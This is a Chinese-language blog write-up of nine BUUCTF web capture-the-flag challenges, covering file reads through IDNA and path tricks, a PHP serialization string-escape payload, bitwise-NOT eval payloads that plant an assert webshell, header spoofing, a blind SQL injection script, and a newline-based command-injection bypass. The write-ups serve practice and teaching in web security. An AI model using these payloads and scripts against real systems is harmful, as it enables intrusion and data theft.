BUUCTF 第三页web

发布于:2022-10-17 ⋅ 阅读:(847) ⋅ 点赞:(0)

目录

[SUCTF 2019]Pythonginx

[BSidesCF 2019]Kookie

[0CTF 2016]piapiapia

[极客大挑战 2019]RCE ME

[MRCTF2020]套娃

[CISCN2019 华北赛区 Day1 Web2]ikun

[WUSTCTF2020]颜值成绩查询

[FBCTF2019]RCEService

[Zer0pts2020]Can you guess it?


[SUCTF 2019]Pythonginx

打开后直接就是python的一个路由,分析一下。

一共三次判断host==suctf.cc,最后一次if判断如果为真,则可读取传入的url参数,第二次和第三次中间存在一次idna编码,猜测这里存在问题。

发现host截取的是://和/中间的字符(这里并不理解原理)。

可以绕过if的有一堆。

取一个就好,利用任意文件读取来读取flag。

首先需要找的flag在哪个文件中。

读取配置文件。

 

发现flag,读取即可。

Paylaod:

/getUrl?url=file://suctf.c%E2%85%BD/../../../../../usr/fffffflag

 

[BSidesCF 2019]Kookie

看到提示Log in as admin!,查看一下cookie。

没有,因为题目提示了cookie,直接伪造一个cookie即可。

[0CTF 2016]piapiapia

打开后发现一个登录框,盲猜有注册页面,访问/register.php。

注册后登录,之后没有其他的提示,尝试sql注入和文件上传无果。

扫一下目录发现www.zip源码泄露,开始审计。

发现profile.php中存在任意文件读取。

又发现flag在config.php中。

理清思路,利用任意文件读取漏洞,读取config.php文件即可。

因为photo是$profile中的值,跟着其走一下。

首先跳到了show_profile。

 

然后再到filter,是一个正则匹配替换,匹配之后再返回去。

继续又调用了父类的select函数。

 

Sql语句,将表中的内容取出来,所以查询有关表的插入语句。

 

发现了update,继续找哪里有update的利用点,在updata.php中发现其利用点。

 

Profile的值是通过POST传入,但photo的值是md5哈希编码后的值,无法直接控制。

最后想到了在中间有一段匹配替换,可以利用字符串逃逸,直接更改profile的值。

刚好替换的where和hacker长度相差1。

 

构造后,将需要的地方截取下来,然后计算其长度。

直接传入后,一直无法成功,之后发现nickname存在过滤。

可以利用数组绕过。

因为nickname传入为数组,改一下payload。

"};s:5:"photo";s:10:"config.php";}长度变成了34。

Paylaod:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

注意传入时nickname变成数组形式。

 

最后信息是以图片的形式返回的,所以flag在图片的编码里。

base64解码得到flag。

[极客大挑战 2019]RCE ME

源码:

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

源码很简单,利用取反即可命令执行。

Payload:

?code=(~%8F%97%8F%96%91%99%90)();

发现禁用了许多函数,想到连接蚁剑查看,利用assert连接蚁剑。

Payload:

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%99%9A%91%98%A2%D6%D6);

密码为:feng

先尝试一下。

成功,然后连接蚁剑。

存在flag但是是空的,然后又看到一个readflag。

利用蚁剑插件disable_functions提权,然后运行readflag,即可得到flag。

[MRCTF2020]套娃

<!--

//1st

$query = $_SERVER['QUERY_STRING'];



 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){

    die('Y0u are So cutE!');

}

 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){

    echo "you are going to the next ~";

}

!-->

发现需要GET传入b_u_p_t不能有_且不等于23333但必须存在23333。

_可以利用php解析来绕过,用%20和空格绕过,然后利用换行符来绕过不等号和正则匹配。

Payload:

?b%20u%20p%20t=23333%0A

?b u p t=23333%0A

回显secrettw.php文件。

发现存在jsfuck编码,控制台运行一下。

POST传入Merak。

发现源码。

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

绕过方式:

利用Client-ip:127.0.0.1绕过第一个条件,然后利用php://input或者dat嗄伪协议来绕过第二个条件。

从源码之可知flag在flag.php中,因为传入的file会在change函数中解密一下,所以提前加密一下。

加密脚本:

<?php

$a='flag.php';

$b='';

for($i=0;$i<strlen($a);$i++)

{

    $b .= chr ( ord ($a[$i]) - $i*2 );

}

echo base64_encode($b);

[CISCN2019 华北赛区 Day1 Web2]ikun

首先注册登录。

发现有1000金额,网页中提示要买lv6,但翻了几页没看到lv6,提示爆破,写个python脚本爆破一下。

import requests
from time import *
url = 'http://8c06e5fd-d89a-437d-9fed-2c1410d18319.node4.buuoj.cn:81/shop?page={}'

for i in range(1000):
    x = requests.get(url = url.format(i))
    if 'lv6.png' in x.text:
        print(i)

 

发现lv6。

不过金币不够,想办法增加金币,但又发现了有优惠卷,并且发现折扣是直接post传入的。

改变数值尝试一下,成功购买lv6,但发现需要admin身份。

尝试伪造cookie。

爆破出key为:1Kun

伪造成功。

 

点击没有用,但发现存在源码泄露。

在Admin.php中发现反序列化。

 

 

网上找了个脚本跑了一下。

发现flag在/flag.txt中。

 

[WUSTCTF2020]颜值成绩查询

尝试了一下1*1,和1*0,发现回显不一样,猜测为sql盲注,利用回显的语句

your score is: 100来爆破数据库。(过滤了空格,用括号即可绕过)

Exp:

import requests
import time

url = "http://cbe29627-76c7-4dad-80f5-9b9c27df9064.node4.buuoj.cn:81/?stunum="
flag = ""
for i in range(1,100):
    l = 33
    r = 126
    mid = (l + r) // 2
    while l < r:
        time.sleep(0.1)
        payload = "1^(ord(substr(database(),{},1))>{})^1".format(i,mid)
        #payload = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1".format(i,mid)
        #payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1".format(i, mid)
        #payload = "1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1".format(i,mid)
        html = requests.get(url+payload)
        if 'your score is: 100' in html.text:
            l = mid + 1
        else:
            r = mid
        mid = (l + r) // 2
    if (l <= 33 or l >= 126):
        break
    flag += chr(mid)
    print(flag)

[FBCTF2019]RCEService

利用json的形式执行命令,即{"cmd":"ls"}

过滤了许多函数,多次尝试后发现换行符可以绕过。多半是用的正则匹配。

先查看一下,但是发现只有一个ls命令。

最后再/bin目录下发现了cat命令。

然后然看一下页面源码,发现一个 putenv('PATH=/home/rceservice/jail');

修改了环境变量,最后在/home/rceservice找到flag。

Paylaod:

?cmd={%0A"cmd":"/bin/cat%20/home/rceservice/flag"%0A}

[Zer0pts2020]Can you guess it?

直接可以看到源码,需要理解几个函数的作用和用法。

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

因为提示flag在config.php中,可以利用highlight_file(basename($_SERVER['PHP_SELF']));来回显config.php。

需要/index.php/config.php?source的样式才能够回显config.php,但有一个正则过滤if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])),在网上知道了可以用不可见字符来来绕过。

payload:

/index.php/config.php/牛?source

 

 

本文含有隐藏内容,请 开通VIP 后查看